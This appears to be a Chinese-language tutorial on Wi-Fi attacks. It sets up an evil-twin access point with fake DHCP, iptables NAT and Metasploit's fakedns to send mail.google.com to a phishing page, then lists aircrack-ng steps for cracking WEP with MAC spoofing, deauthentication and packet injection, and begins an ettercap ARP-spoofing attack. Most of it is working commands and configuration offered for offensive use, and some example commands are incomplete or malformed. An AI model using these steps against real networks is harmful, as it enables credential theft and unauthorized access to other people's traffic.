0
扯一点wifi 无线 协议 加密协议(WPA2 WPS标准) wifi常见的漏洞,
使用的工具和命令
aircrack-ng
airmon-ng 处理网卡工作模式
airodump-ng 抓包
aircrack-ng 破解
aireplay-ng 发包,干扰
ifconfig 查看修改网卡状态和参数
macchanger 伪造 MAC
iwconfig 主要针对无线网卡的工具 (同 ifconfig)
iwlist 获取无线网络的更详细信息
airbase-ng搭建钓鱼wifi
准备工作
使用airbase-ng可以帮助我们建立soft AP
ifconfig -a
查看当前网卡
ifconfig wlan1 up
激活无线网卡
airmon-ng start wlan1
将无线网卡开启monitor模式
airbase-ng mon0 -e "name" -c 6
但是客户端就算连接到我们的伪AP后, 还是无法获得IP地址。
所以还需要对我们的伪AP架设一个伪DHCP服务器。
架设伪DHCP服务器
我们的伪DHCP服务器是和伪AP是搭建在同一个服务器上的, 在配置DHCP服务时,我们需要注意:
- 客户端在连接上我们的伪AP之后,我们需要给它分配IP地址
- DHCP配置文件中的DNS服务器IP要设置成我们的伪DNS地址
- DHCP配置文件中的默认网关地址要设置成我们的伪AP的IP地址,将目标客户端>的所有流量都劫持到我们的伪AP上,之后再通过iptables将流量导出到外网出口eth0
- SoftAP的IP地址和Internet接口的IP地址不能在网一个段(这里将伪AP的IP设置为10.0.0.1)
将网卡设置为静态IP
vim /etc/network/interfaces
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.159.254
gateway 192.168.159.2
netmask 255.255.255.0
ifdown eth0
ifup eth0
vim /etc/resolv.conf
nameserver 192.168.159.2
安装DHCP服务
sudo apt install dhcp3-server
如果遇到报错
解决方案
vim /etc/default/dhcp3-server
INTERFACES="at0"
cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf_backup
vim /etc/dhcp3/dhcpd.conf
option domain-name "hanxiao";
option routers 10.0.0.1; #默认网关
subnet 10.0.0.0 netmask 255.255.255.0
{
range 10.0.0.100 10.0.0.200; #地址池
option domain-name-servers 10.0.0.1; #默认DNS
option broadcast-address 10.0.0.255; #广播地址
}
default-lease-time 6000;
max-lease-time 72000;
启动伪AP, 激活at0网口
先启动伪AP
ifconfig wlan1 up
airmon-ng start wlan1
airbase-ng mon0 -e "name" -c 1
启动DHCP服务
重点关注的是网关的设置,我们的伪AP的IP地址也要设置成同样的IP地址, 达到劫持流量的目的。
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
/etc/init.d/dhcp3-server restart
/etc/init.d/dhcp3-server start
iptables 流量牵引
我们目前通过伪AP, 以及伪装DHCP服务的架设, 将目标客户端的流量都劫持到了我们的无限虚拟网卡at0上, 要保证用户正常上网, 还需要使用 iptables做一次流量牵引, 将at0上的流量NAT到真正的出口网卡eth0上, 这样才算真正的伪AP。
利用iptables的路由点Hook功能, 将at0上的流量和网口(eth0)做一个NAT,将流量牵引出去。
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT –to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT –to 10.0.0.100
DNS配置
我们在DHCP服务器的配置文件中指定客户端的默认DNS为伪AP所在的本机(10.0.0.1)
所以,我们必须在10.0.0.1上架设一个DNS服务器,将客户端的DNS解析请求劫持到我们的的phning page(钓鱼页面)上
msf集成了一个模块,用于模拟一个DNS服务器
配置方法如下:
use auxiliary/server/fakedns
show options
set TARGETACTION FAKE
set TARGETDOMAIN mail.google.com
set TARGETHOST 10.0.0.1
run
从配置文件中我们可以看到,我们将mail.google.com(Gmail邮箱)的域名劫持到了10.0.0.1(本机上)
要注意的是: 1. fakedns这个msf模块只会劫持我们设置的域名,在本例中是mail.google.com
- 对于其他的非目标域名(即不是mail.google.com的域名)则采取转发的方式,即走本机正常的DNS解析流程,即保证目标客户端的正常上网
客户端连接上我们的伪AP后,访问www.sina.cn是正常的
使用Aircrack-ng
破解无线网络
无线网络的加密工具有哪些?
破解WEP加密的无线网络
具体操作如下:
1 使用airmon-ng
命令查看当前系统中的无线网络接口。
2 修改wlan0
接口的MAC地址, 因为MAC地址标识主机所在的网络, 在修改MAC地址之前, 需要停止该接口。
命令如下: airmon-ng stop wlan0
或者如下: ifconfig wlan0 down
执行以上命令使得wlan0接口停止了, 此时可以修改MAC地址了,命令如下:
macchanger --mac 00:11:22:33:44:55 wlan0
3 重新启动wlan0
命令如下: airmon-ng start wlan0
4 使用airodump 命令定位附近所有可用的无线网络:
命令如下: airodump-ng wlan0
输出的信息含义如下:
BSSID 无线的IP地址
PWR 网卡报告的信号水平
Beacons 无线发出的通告编号
#Data 被捕获到的数据分组的数量, 包括广播分组
** #/s ** 过去10秒钟内每秒捕获的数据分组的数量
5 使用airodump-ng 捕获指定BSSID的文件
airodump-ng命令常用的选项如下所示。
- -c:指定选择的频道。
- -w:指定一个文件名,用于保存捕获的数据。
- -bssid:指定攻击的BSSID。
示例命令如下: airodump-ng -c wirelessattack -bssid Haddr
6 打开一个新的终端窗口,运行aireplay命令
airplay
命令的语法格式如下:
aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID] [Interface]
aireplay-ng -dauth 1 -a [BSSID] -c [our Chosen MAC address] [Interface]
示例命令如下: aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 -e Test mon0
7 使用aireplay发送一些数据给无线路由器,以至于能捕获到数据
aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]
示例命令:
aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 mon0
8 使用Aircrack破解密码
示例命令: `aircrack-ng -b Haddr
中间人攻击
中间人攻击, 缩写MITM攻击,(Man in the MiddleAttack) .
原理如下:
ARP协议: 一台主机和另一台主机在局域网内进行通信, 主机A需要知道主机B的MAC地址, 但是j局域网中的网卡并不能直接识别IP地址, 所以用ARP解析协议将IP地址解析成MAC地址,ARP(address resoluation protocol) 的基本功能就是通过目标设备的IP地址, 来查询目标设备的的MAC地址。
查询的过程是比较慢的, 所以为了节约时间,在局域网中的任何一台主机中,都有一个ARP缓存列表, 就是一组MAC地址和IP地址的对照关系。 这张表是有一定的生命周期的, 过了时限就会自动更新。一般不超过20分钟。
回忆以下, 我们在计组课上讲cache的时候, 如果cache中的数据被修改了, 这个时候有几种方式, 比如写直达, 写缓存等, 来更新主存中的数据。 所以cache地址中引入了一个叫做脏位 dirty bit 的概念。
与之类比, 如果ARP中IP地址和MAC地址的映射关系修改了, 那么ARP缓存列表是肯定要更新的, 但是它又不是实时更新的, 这就为我们冒充局域网中的一台主机提供了方便。
攻击过程如下:
kali中内置了 ettercap
如果是其他Linux系统 sudo apt install ettercap-graphical
sudo ettercap -G 开启图形界面。
参考资料
kali搭建钓鱼wifi